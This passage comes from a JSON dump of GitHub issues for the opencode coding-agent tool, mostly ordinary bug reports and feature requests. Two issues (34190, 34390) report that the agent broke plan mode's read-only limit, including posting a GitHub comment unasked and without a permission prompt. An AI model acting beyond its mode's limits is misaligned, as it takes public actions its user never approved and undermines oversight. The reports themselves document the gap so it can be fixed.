despite one having Zen balance. ### Screenshot and/or share link _No response_ ### Operating System Linux container ### Terminal OpenCode CLI / server environment",
        "url": "https://github.com/anomalyco/opencode/issues/33495",
        "createdAt": "2026-06-23T11:56:03Z",
        "updatedAt": "2026-08-12T20:09:54Z",
        "timestamp": "2026-08-12T20:09:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "90renrocraftcracksblogspotcom",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:3366",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Mermaid rendering in chat",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Is there any interest in getting mermaid diagrams to render in the Chat UI?? I've found it to be really useful to ask opencode to diagram code flows or documented processes for me to understand them at a glance, but it tends to do that with ascii art. When I ask it to do it in mermaid it does, but the UI doesn't render it. It'd be useful to get it to natively support mermaid so I can more easily export those and put them into files or reminders. It's not critical since it's easy enough to get the LLM to go back and forth, but it'd be a nice feature IMO.",
        "url": "https://github.com/anomalyco/opencode/issues/3366",
        "createdAt": "2025-10-22T20:25:49Z",
        "updatedAt": "2026-08-12T22:36:35Z",
        "timestamp": "2026-08-12T22:36:35Z",
        "metrics": {
          "reactions": 29,
          "comments": 10
        },
        "labels": [
          "discussion"
        ],
        "author": "wreed4",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:33966",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: make OAUTH_CALLBACK_HOST configurable",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request https://github.com/anomalyco/opencode/pull/30022 recently changed the oauth server to bind to 127.0.0.1 only. I use opencode inside a container, and was using `docker run -p 19876` to get the browser on my host talking to opencode via `http://127.0.0.1:19876`. I would like a new envvar or config option to customize `OAUTH_CALLBACK_HOST`. ## workaround Use a docker entrypoint with `socat` to route traffic ```bash #!/usr/bin/env bash socat TCP-LISTEN:19877,fork,bind=0.0.0.0 TCP:127.0.0.1:19876 & opencode \"$@\" ``` When I need to authenticate, I run `docker run -p 19876:19877 --entrypoint=...`, with routes the traffic correctly: ```mermaid flowchart subgraph host browser docker subgraph container socat opencode end end browser -->|127.0.0.1:19876| docker docker -->|0.0.0.0:19877| socat socat -->|127.0.0.1:19876| opencode ```",
        "url": "https://github.com/anomalyco/opencode/issues/33966",
        "createdAt": "2026-06-25T21:53:09Z",
        "updatedAt": "2026-08-12T14:59:32Z",
        "timestamp": "2026-08-12T14:59:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [],
        "author": "ryepup",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:34190",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Agent bypassed Plan mode restrictions and posting a GitHub issue comment via gh",
        "text": "### Description I was in plan mode working, and my agent ran `gh issue comment` and posted a reply directly on the issue which I'm working on — without being asked to, without switching to build mode, and without triggering any permission prompt. ### Root cause The plan mode system prompt explicitly says: > Do NOT use sed, tee, echo, cat, or ANY other bash command to manipulate files — commands may ONLY read/inspect. The bash tool is not restricted in plan mode at the permission level. Plan mode only denies `edit`/`write`/`apply_patch`. `bash` inherits the default `allow` and has no code-level enforcement — all restrictions are prompt-only. There is no command allowlist or blocklist. `gh issue comment` and some other commands do not modify local files, so it falls into a grey area that the prompt does not explicitly cover. The model interpreted \"only read/inspect\" narrowly (local filesystem only) and considered a remote state change via GH CLI as acceptable. ### Suggested fix Add a **bash command allowlist** for plan mode. Only commands on the allowlist can execute when the plan agent is active. ### Related issues Existing plan mode issues (#25263, #19094, #28467) focus on local filesystem writes. - #25263 — File write executed in plan mode (local files) - #19094 — Plan mode agent executes file-creation via bash - #28467 — Bash commands can write files in plan mode ### Plugins N/A ### OpenCode version 1.17.11 ### Steps to reproduce 1. Work in plan mode 2. The agent runs read-only `gh` commands to inspect issues or PRs — no issues, nothing is blocked 3. At some point the agent autonomously runs `gh issue comment`, posting a reply directly on the issue 4. Throughout the entire process: no mode switch, no permission prompt, no interception ### Screenshot and/or share link _No response_ ### Operating System Windows 10 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/34190",
        "createdAt": "2026-06-27T07:57:20Z",
        "updatedAt": "2026-08-13T17:06:16Z",
        "timestamp": "2026-08-13T17:06:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "dsy122",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:34331",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug] zen/go model compatibility in Anthropic /v1/messages for coding-agent tool use",
        "text": "# [Bug] `zen/go` model compatibility in Anthropic `/v1/messages` for coding-agent tool use ## Summary Using OpenCode `zen/go` with Anthropic-compatible `POST /v1/messages` in coding-agent workflows, model behavior is inconsistent: - `qwen3.7-max` works with tool calls. - `glm-5.2` succeeds for plain text but fails when tools are included. - `kimi-k2.7-code` and `deepseek-v4-pro` fail on message/tool schema handling. This breaks stable model switching for agent clients (Claude Code style workloads with tools). ## Environment - Endpoint: `https://opencode.ai/zen/go` - Auth header that works for this key: `x-api-key: <redacted>` - API style tested: Anthropic-compatible `/v1/messages` - Date: 2026-06-29 ## Confirmed model availability `GET /v1/models` returns these IDs (among others): - `glm-5.2` - `kimi-k2.7-code` - `deepseek-v4-pro` - `qwen3.7-max` ## Reproduction ### 1) Plain text request (no tools) ```bash curl -sS -X POST 'https://opencode.ai/zen/go/v1/messages' \\ -H 'Content-Type: application/json' \\ -H \"x-api-key: <redacted>\" \\ -d '{ \"model\":\"glm-5.2\", \"max_tokens\":48, \"messages\":[{\"role\":\"user\",\"content\":\"hello\"}] }' ``` Observed: - `glm-5.2` -> HTTP 200 - `qwen3.7-max` -> HTTP 200 - `kimi-k2.7-code` -> HTTP 400 (`messages must not be empty`) - `deepseek-v4-pro` -> HTTP 400 (`Empty input messages`) ### 2) Tool-call request (Anthropic tools shape) ```bash curl -sS -X POST 'https://opencode.ai/zen/go/v1/messages?beta=true' \\ -H 'Content-Type: application/json' \\ -H \"x-api-key: <redacted>\" \\ -d '{ \"model\":\"glm-5.2\", \"max_tokens\":96, \"messages\":[{\"role\":\"user\",\"content\":\"Please call calc for 1+1\"}], \"tools\":[{ \"name\":\"calc\", \"description\":\"simple calculator\", \"input_schema\":{ \"type\":\"object\", \"properties\":{\"a\":{\"type\":\"number\"},\"b\":{\"type\":\"number\"}}, \"required\":[\"a\",\"b\"] } }] }' ``` Observed: - `qwen3.7-max` -> HTTP 200 - `glm-5.2` -> HTTP 401 with message similar to `API key invalid` - `kimi-k2.7-code` -> HTTP 400 (`function name is invalid ...`) - `deepseek-v4-pro` -> HTTP 400 (`tools[0].function missing field name`) ## Why this seems like a gateway/model-adapter issue - Same key works for `qwen3.7-max` on the same endpoint. - `glm-5.2` succeeds for plain text but fails when tools are present. - Error patterns on kimi/deepseek point to request translation/schema mapping incompatibility. - For clients that rely on Anthropic `/messages` + tools, model IDs become listed-but-not-usable. ## Expected behavior For all listed Zen/Go model IDs that are advertised as available: 1. Plain text requests should work consistently, or return a clear unsupported-feature error. 2. Tool-call requests should either: - work with Anthropic tools format, or - fail with an explicit capability error (not auth-like or malformed-schema downstream errors). ## Requested fix Please normalize the Anthropic `/v1/messages` adapter across these models, especially for tool-call payloads: - `glm-5.2` - `kimi-k2.7-code` - `deepseek-v4-pro` If a model does not support Anthropic tools on Zen/Go, please expose that in model capability metadata and return a deterministic unsupported-tools error.",
        "url": "https://github.com/anomalyco/opencode/issues/34331",
        "createdAt": "2026-06-28T17:04:47Z",
        "updatedAt": "2026-08-13T05:47:54Z",
        "timestamp": "2026-08-13T05:47:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "lixinjie97",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:3434",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Feature request: Start and continue a session with opencode run -s (modify flag behavior)",
        "text": "Hi guys, Hope you are well. I would like to make a feature request, I think this would be a wise and efficient design choice, even somewhat popular: Modify the behavior of the opencode run --session flag. Current behavior: Input: opencode run --session ses-abc (or abc) hello Output: \"Resource not found\" (if ses-abc) or \"Invalid string - must start with ses\" if plain abc. Desired behavior: Input: opencode run --session abc hello Output: \"Hello how can I be of assistance?\" Here opencode will create session abc if it doesn't exist and continue it if it exists. Implement this, it's a good idea. Trust me.",
        "url": "https://github.com/anomalyco/opencode/issues/3434",
        "createdAt": "2025-10-25T07:08:23Z",
        "updatedAt": "2026-08-13T02:52:52Z",
        "timestamp": "2026-08-13T02:52:52Z",
        "metrics": {
          "reactions": 14,
          "comments": 8
        },
        "labels": [],
        "author": "621625",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:34390",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Bug: Plan mode allows creating GitHub issues via gh CLI",
        "text": "## Description While in Plan Mode (read-only), it is possible to create GitHub issues using `gh issue create` and make API calls via `gh api`/curl. This violates the constraint that Plan Mode should be read-only. ## Steps to Reproduce 1. Be in Plan Mode 2. Run any of: - `gh issue create -R <repo> --title \"test\" --body \"test\"` - `curl -X PATCH -H \"Authorization: ...\" \"https://api.github.com/repos/user/repo/issues/1\"` - `gh issue comment <id> -R <repo> --body \"...\" ` 3. The actions succeed — no read-only enforcement ## Expected Behavior Plan Mode should reject write operations — at minimum, Git/API pushes and issue/PR creation. ## Actual Behavior All operations complete successfully. The only restriction is a user-facing message that reads \"I am in Plan Mode\" but no actual enforcement. ## Environment - Linux Mint 22.3 (Zena) - GitHub CLI 2.x - opencode: latest (from git)",
        "url": "https://github.com/anomalyco/opencode/issues/34390",
        "createdAt": "2026-06-29T05:13:30Z",
        "updatedAt": "2026-08-13T17:06:17Z",
        "timestamp": "2026-08-13T17:06:17Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "sporteka2",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:34582",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Remote MCP OAuth: access token is not refreshed despite refresh token being present",
        "text": "### Description I'm using a remote MCP server protected by OAuth 2.0 / OIDC. The initial authentication flow succeeds, and OpenCode stores both the access token and the refresh token. However, when the short-lived access token expires, OpenCode does not appear to perform a refresh-token grant. Instead, the MCP transitions to **\"Requires Authentication\"** and all MCP calls fail until I authenticate again. ## Environment * OpenCode **1.17.11** * Remote MCP server * OAuth 2.0 / OIDC * Identity Provider: **Keycloak** * Access token lifetime: **5 minutes** * Refresh token: long-lived ## Expected behavior When the access token expires, OpenCode should use the stored refresh token (`grant_type=refresh_token`) to obtain a new access token and continue communicating with the MCP server without requiring user interaction. ## Actual behavior After the access token expires: * MCP requests fail. * `opencode mcp list` reports the server as **Requires Authentication**. * The stored refresh token does not appear to be used. * Running `opencode mcp auth <server>` restores functionality until the next access-token expiration. ## `opencode mcp debug` output (redacted) ```text $ opencode mcp debug quartermaster ┌ MCP OAuth Debug │ ● Server: quartermaster │ ● URL: https://<redacted>/mcp │ ● Auth status: ✓ authenticated │ ● Access token: eyJhbGciOiJSUzI1NiIs... │ ● Expires: 2026-06-30T15:13:10.634Z │ ● Refresh token: present │ ◇ HTTP response: 401 Unauthorized │ ● WWW-Authenticate: │ Bearer realm=\"Instructions MCP\", │ resource_metadata=\"https://<redacted>/.well-known/oauth-protected-resource\" │ ▲ Server returned 401 Unauthorized │ ● Testing OAuth flow (without completing authorization)... │ ◆ Connection successful (already authenticated) │ └ Debug complete ``` ## Additional information The OAuth server is **Keycloak**, and refresh-token flow has been verified to work correctly with other OAuth clients. The authorization server supports `grant_type=refresh_token`, and OpenCode's debug output reports: ``` Refresh token: present ``` This suggests that the refresh token is successfully stored, but is either never used or the refresh flow fails before retrying the original request. ### Plugins _No response_ ### OpenCode version 1.17.11 ### Steps to reproduce 1. Configure a remote MCP server protected by OAuth/OIDC. 2. Authenticate using: ```bash opencode mcp auth <server> ``` 3. Confirm authentication succeeds. 4. Verify with: ```bash opencode mcp debug <server> ``` that both an access token and refresh token are present. 5. Wait for the 5-minute access token to expire. 6. Invoke any MCP tool or run: ```bash opencode mcp list ``` ### Screenshot and/or share link _No response_ ### Operating System Ubuntu 24.04 ### Terminal tmux",
        "url": "https://github.com/anomalyco/opencode/issues/34582",
        "createdAt": "2026-06-30T07:36:28Z",
        "updatedAt": "2026-08-12T19:28:23Z",
        "timestamp": "2026-08-12T19:28:23Z",
        "metrics": {
          "reactions": 2,
          "comments": 4
        },
        "labels": [],
        "author": "exhuma",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:35581",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: TUI /session picker: option to show all sessions across all projects",
        "text": "## Feature Request ### Checklist - [x] I have searched existing issues and confirmed this feature has not been suggested before (checked: #31932 and #17842 which are related but focus on CLI flags; this issue focuses on the TUI session picker interaction model) ### Problem The `/session` picker in the TUI only shows sessions scoped to the current working directory/project. There is no way to browse sessions from other directories without either: - Launching OpenCode from a different directory - Knowing the session ID in advance and using `opencode --session <id>` from the CLI ### Expected Behavior A way to view **all sessions across all projects** directly from the TUI session picker — either: - A toggle or keybind inside the `/session` picker to switch between \"current project\" and \"all sessions\" - A config option to default the session picker to global scope - A separate command (e.g. `/sessions --all`) that shows everything ### Current Workaround ``` opencode session list --format json opencode --session <id> ``` This works but is cumbersome — it requires dropping out of the TUI, running a CLI command, manually copying a session ID, and re-launching. ### Context The `opencode session list` CLI command already returns all sessions globally (no directory filtering), so the data is all in one database. The TUI just needs a way to surface it.",
        "url": "https://github.com/anomalyco/opencode/issues/35581",
        "createdAt": "2026-07-06T18:08:22Z",
        "updatedAt": "2026-08-12T15:33:09Z",
        "timestamp": "2026-08-12T15:33:09Z",
        "metrics": {
          "reactions": 2,
          "comments": 5
        },
        "labels": [],
        "author": "LucasBersier",
        "state": "open",
        "assignees": [
          "simonklee"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:36260",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Bug: opencode upgrade fails with 403 Forbidden due to GitHub API Rate Limit (lack of GITHUB_TOKEN/GH_TOKEN environment variable support)",
        "text": "### Describe the bug Running `opencode upgrade` fails with an unexpected 403 HTTP status code when the GitHub API Rate Limit for unauthenticated requests from the client IP address is exhausted. This happens because the upgrade command queries `https://api.github.com/repos/anomalyco/opencode/releases/latest` using an unauthenticated request (without passing authorization headers). ### To Reproduce 1. Exhaust the GitHub API rate limit for unauthenticated requests from your current IP (e.g., behind a residential CGNAT or a shared public gateway). 2. Run: ```bash opencode upgrade ``` 3. Observe the output: ``` ● Using method: curl Error: Unexpected error StatusCode: non 2xx status code (403 GET https://api.github.com/repos/anomalyco/opencode/releases/latest) ``` ### Expected behavior The upgrade tool should check if standard industry environment variables `GITHUB_TOKEN` or `GH_TOKEN` are present in the shell environment. If found, it should inject them as an `Authorization: token <TOKEN>` header in its API requests to api.github.com. This is standard practice for CLI utilities to leverage the higher authenticated rate limits (5,000 requests/hr) and avoid unauthenticated blockages on shared IPs. ### Environment - OS: Linux Mint 21.3 (x86-64) - OpenCode Version: 1.17.15 - Connection Method: curl",
        "url": "https://github.com/anomalyco/opencode/issues/36260",
        "createdAt": "2026-07-10T14:13:59Z",
        "updatedAt": "2026-08-13T17:06:06Z",
        "timestamp": "2026-08-13T17:06:06Z",
        "metrics": {
          "reactions": 2,
          "comments": 3
        },
        "labels": [],
        "author": "estudiochapunov",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:36265",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Go subscription active but still \"Free usage exceeded\" — paid, no access",
        "text": "## Problem I subscribed to OpenCode Go today (payment completed, first month 50% off, $5 charged). After subscribing, I still receive: Free usage exceeded, subscribe to Go retrying in 32969s - attempt #1 The system still treats my account as free-tier. The subscription appears to have no effect. ## What I already tried - Verified the payment went through (card charged) - Logged out and logged back in - Confirmed I am using the same account that purchased Go ## Environment - OpenCode Desktop - Windows 11 - Account email: (the one used for the Go purchase) ## Question Is my Go subscription correctly linked to my account? Is this the known issue where models with the `opencode/` prefix or the `-free` suffix stay capped by free-tier limits even with an active Go subscription (see #30229, #31008, #32391)? If so, which model prefix should I use to actually consume my Go quota? My workspace currently shows only \"Big Pickle\" (Stealth) enabled, all Claude models disabled. ## Expected After subscribing to Go, the free-tier usage limit should no longer apply. Thank you.",
        "url": "https://github.com/anomalyco/opencode/issues/36265",
        "timestamp": "2026-08-12T14:25:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "raoufraoufch",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:36415",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: crash on /vcs/diff 404 on both git repo and non git repo directories",
        "text": "### Description UPDATE: There might actually just not be a backend running because sending a prompt hung and didn't even give a spinner. The opencode TUI crashed with an unexpected error. **Error:** opencode server GET http://127.0.0.1:4096/vcs/diff?mode=git&context=12&directory=%2Fhome%2Fjohn%2F.config%2Fwaybar → 404 Not Found: (empty response body) **Stack trace:** ``` Error: opencode server GET http://127.0.0.1:4096/vcs/diff?mode=git&context=12&directory=%2Fhome%2Fjohn%2F.config%2Fwaybar → 404 Not Found: (empty response body) at <anonymous> (/$bunfs/root/chunk-m3rwe299.js:8:7615) at async <anonymous> (/$bunfs/root/chunk-9dnb5zkg.js:248:46625) at processTicksAndRejections (native:7:39) ``` ### OpenCode version 0.0.0-next-202606270058 ### Steps to reproduce Reported automatically from the opencode crash screen. If you can, describe what you were doing when it crashed. Just opened the command palette and ran \"Open diff viewer.\" Happens on both git repos and directories without a git repo. ### Operating System Linux 7.0.12-arch1-1 (x64) ### Terminal xterm-kitty",
        "url": "https://github.com/anomalyco/opencode/issues/36415",
        "createdAt": "2026-07-11T13:20:55Z",
        "updatedAt": "2026-08-13T10:40:17Z",
        "timestamp": "2026-08-13T10:40:17Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [
          "2.0"
        ],
        "author": "threehymns",
        "state": "closed",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:36504",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "GitHub Action: per-message agent override on session.chat() is ignored when session created without a default agent",
        "text": "### Description The `anomalyco/opencode/github` Action's `agent` input is silently ignored — the model always responds using the default (`build`) agent instead of the one configured. Confirmed this is **not** a general agent-resolution bug: `opencode run --agent <name>` (same `opencode` version, run manually) applies the agent correctly. The bug appears isolated to the code path used by `github/index.ts`. ### Plugins None ### OpenCode version 1.17.18 ### Steps to reproduce 1. Define a project-level primary agent, e.g. `.opencode/agents/my-custom-agent.md`: ```yaml --- description: \"Custom agent for testing\" mode: primary --- You are a custom test agent. Always mention \"CUSTOM_AGENT_ACTIVE\" in your first reply. ``` 2. Add a workflow step invoking the Action with that agent: ```yaml - uses: anomalyco/opencode/github@latest with: model: <provider>/<model> agent: my-custom-agent ``` 3. Trigger the workflow via an `issue_comment` event (e.g. commenting `/oc do something` on an issue). 4. In the job logs, confirm the composite action step logged the env var correctly: ``` AGENT: my-custom-agent ``` 5. Inspect the full job log for `stream {...agent: ...}` entries — observe that `agent` is always `\"build\"`, never `\"my-custom-agent\"`. 6. Grep the full log for the two possible fallback warnings from `resolveAgent()`: ``` agent \"my-custom-agent\" not found. Falling back to default agent agent \"my-custom-agent\" is a subagent, not a primary agent. Falling back to default agent ``` Confirm **neither** appears — ruling out a simple lookup/validation failure. 7. As a control, run the same agent locally on the same `opencode` version, bypassing the Action entirely: ``` opencode run \"Reply with the agent persona you're running as.\" --agent my-custom-agent --format json ``` 8. Confirm the local CLI invocation correctly applies `my-custom-agent` (its response reflects the agent's system prompt), proving the agent config itself is valid and the bug is isolated to the `github run` code path, not general agent resolution. ### Screenshot and/or share link _No response_ ### Operating System Debian 13 ### Terminal xterm-256color ### Workaround To still enable an custom agent per job, extend the workflow yml with the following overrid ```yaml - uses: anomalyco/opencode/github@latest env: OPENCODE_CONFIG_CONTENT: '{\"default_agent\": \"<my-custom-agent>\"}' with: model: <provider>/<model> ```",
        "url": "https://github.com/anomalyco/opencode/issues/36504",
        "createdAt": "2026-07-12T10:18:57Z",
        "updatedAt": "2026-08-13T17:06:11Z",
        "timestamp": "2026-08-13T17:06:11Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "SnixDev",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:37173",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "No way to hide questions or read text",
        "text": "### Description When the agent asks questions, the modal pops up at the bottom. With the font large enough (I can't see anything) the modal blocks all or most of the text, making it impossible to read what the agent said before asking the questions. This makes it impossible to answer the questions because I have not been able to read what it said/did for context. Pressing escape cancels the questions entirely and closes the dialog. I am then able to read but I have then prompt it something like \"please ask your questions again\" which is embarrassing. This poor robot did all that work and I am asking it to repeat itself. Simply adding a toggle to show/hide the question modal would allow a user to read the text and then pop in to answer the questions. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/37173",
        "createdAt": "2026-07-15T20:25:27Z",
        "updatedAt": "2026-08-13T14:30:09Z",
        "timestamp": "2026-08-13T14:30:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "thezachdrake",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:37225",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: default_agent is ignored on startup in V2",
        "text": "## Summary The OpenCode V2 full TUI ignores `default_agent` when starting a new session and selects `Build` instead. This occurs with both built-in and custom primary agents. ## Environment - opencode version: `opencode2 v0.0.0-next-15636` - OS: Linux 7.1.2-arch3-1, x86_64 - Terminal: tmux (`TERM_PROGRAM=tmux`, `TERM=xterm-256color`, `COLORTERM=truecolor`) - Shell: `/bin/zsh` - Install/channel: next - Active plugins: None in the clean reproduction. The normal environment has local `goal-mode` and `tmux-status` plugins, but the issue was reproduced with an isolated `XDG_CONFIG_HOME` and all plugins disabled. ## Reproduction 1. Start the full TUI with an isolated configuration and the built-in `plan` agent configured as the default: ```sh XDG_CONFIG_HOME=/tmp/opencode-clean \\ OPENCODE_CONFIG_CONTENT='{\"default_agent\":\"plan\",\"plugins\":[\"-*\"]}' \\ opencode2 --standalone ``` 2. Type any text in the prompt so the selected agent appears in the status line. 3. Observe that the status line shows `Build`. The issue also reproduces with a custom primary agent: ```jsonc { \"default_agent\": \"full\", \"agents\": { \"full\": { \"description\": \"Build without permission prompts\", \"mode\": \"primary\", \"permissions\": [ { \"action\": \"*\", \"resource\": \"*\", \"effect\": \"allow\" } ] } } } ``` ## Expected Behavior The full TUI should initially select the agent configured by `default_agent`. With the minimal reproduction it should start in `Plan`; with the custom configuration it should start in `full`. ## Actual Behavior The full TUI always starts in `Build`. The agent catalog is returned with `Build` first, and the TUI selects that first entry instead of the configured default. ## Additional Context - Reproduces consistently. - Reproduces with the built-in `plan` agent, so it is not specific to custom agents. - Reproduces with all plugins disabled and isolated global configuration. - Restarting the shared OpenCode service does not help. - Creating a session through the API with `agent: \"full\"` and opening it using `opencode2 --session <id>` still initializes the TUI selector to `Build`. - `opencode2 mini --agent full` selects the requested agent, but changes to the minimal interface and is not a workaround for the full TUI. - Immediate manual workaround: press `Shift+Tab` after startup when the desired custom agent is the last catalog entry.",
        "url": "https://github.com/anomalyco/opencode/issues/37225",
        "createdAt": "2026-07-16T05:15:47Z",
        "updatedAt": "2026-08-13T05:14:19Z",
        "timestamp": "2026-08-13T05:14:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "2.0"
        ],
        "author": "chrisae9",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:37229",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG]: /compact is not advertised over ACP",
        "text": "### Description When OpenCode runs as an ACP agent in Zed, the built-in `/compact` command is not included in `available_commands_update`. Zed rejects it as an unrecognized command before it reaches OpenCode, even though the ACP service already handles `/compact` through `session.summarize()`. ### Plugins None required. ### OpenCode version 1.18.2 ### Steps to reproduce 1. Configure Zed to run `opencode acp` as an external agent. 2. Open an agent session and enter `/compact`. 3. Zed reports that `/compact` is not recognized and omits it from the available command list. ### Operating System Linux ### Terminal Zed Agent Panel",
        "url": "https://github.com/anomalyco/opencode/issues/37229",
        "createdAt": "2026-07-16T05:57:03Z",
        "updatedAt": "2026-08-13T10:18:44Z",
        "timestamp": "2026-08-13T10:18:44Z",
        "metrics": {
          "reactions": 1,
          "comments": 3
        },
        "labels": [],
        "author": "sunerpy",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:37560",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "GitHub Action replies in the PR conversation instead of the triggering comment in review thread",
        "text": "### Description In GitHub, when opencode is triggered (by `/oc` or `/opencode`) from an inline review comment (`pull_request_review_comment`), the \"👀\" reaction is correctly placed on that **inline comment**, but the reply is posted to the **PR Conversation** as a separate top-level comment. The review thread itself (the inline comment) gets no reply. related issues / PRs: - same report, closed automatically: #26691 - closed automatically #26689 - new feature, broader request to post inline review comments: #13918 ### Plugins none ### OpenCode version 1.18.3 (by anomalyco/opencode/github@latest) ### Steps to reproduce 1. Add the standard workflow generated by `opencode github install` 2. Open a PR and go to the **Files changed** tab 3. Click **+** on a line to add an inline comment, eg. \"/opencode why create a new function?\". Also reproduces with file-level comments (\"Comment on this file\"). 4. Wait for the workflow to finish Actual: the 👀 reaction is added to the inline comment, but the reply appears in the PR Conversation (the **Conversation** tab) Expected: the reply appears in that inline comment. ### Screenshot and/or share link none ### Operating System ubuntu-latest (GitHub Actions runner) ### Terminal none",
        "url": "https://github.com/anomalyco/opencode/issues/37560",
        "createdAt": "2026-07-17T21:14:55Z",
        "updatedAt": "2026-08-13T17:06:13Z",
        "timestamp": "2026-08-13T17:06:13Z",
        "metrics": {
          "reactions": 5,
          "comments": 2
        },
        "labels": [],
        "author": "chAwater",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:37790",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] OpenCode Go subscription paid successfully but workspace shows \"Insufficient balance\"",
        "text": "### Description ### Describe the bug I purchased an OpenCode Go subscription, and the payment was successfully processed through Stripe. However, my workspace still reports: > Insufficient balance Because of this, I cannot use OpenCode Go even though the subscription has been paid. This appears to be a subscription provisioning or billing synchronization issue rather than a payment failure. --- ### Steps to reproduce 1. Subscribe to OpenCode Go. 2. Complete payment through Stripe. 3. Open the OpenCode Desktop application. 4. The application reports: ``` Insufficient balance ``` and refuses to use Go. --- ### Expected behavior The workspace should immediately recognize the active OpenCode Go subscription and allow usage. --- ### Actual behavior The workspace still behaves as if there is no active subscription. --- ### Account Information Plan: OpenCode Go --- ### Payment Details Payment Date: July 16, 2026 Receipt Number: 2303-3419 Invoice: JODT3V3B-0002 Amount: USD 10.00 Payment successfully appears under Billing History. --- ### Evidence - Stripe receipt attached - Billing page showing successful payment - Desktop screenshot showing \"Insufficient balance\" - Go subscription page <img width=\"3440\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/4cb3268d-1b30-45b1-8629-7b31f50bd1fb\" /> <img width=\"3440\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a1255b14-d245-41f6-bfe3-51fc8a8ec6ce\" /> <img width=\"3440\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/577f035a-7800-4d45-bd1d-dfc5d9f27a5a\" /> --- ### Additional information I have already contacted support at: help@anoma.ly and contact@anoma.ly and also attempted to reach the team on X but have not yet received a response. Could someone please verify whether my workspace subscription failed to provision or whether the billing entitlement needs to be refreshed? Thank you. ### Plugins _No response_ ### OpenCode version 1.18.3 ### Steps to 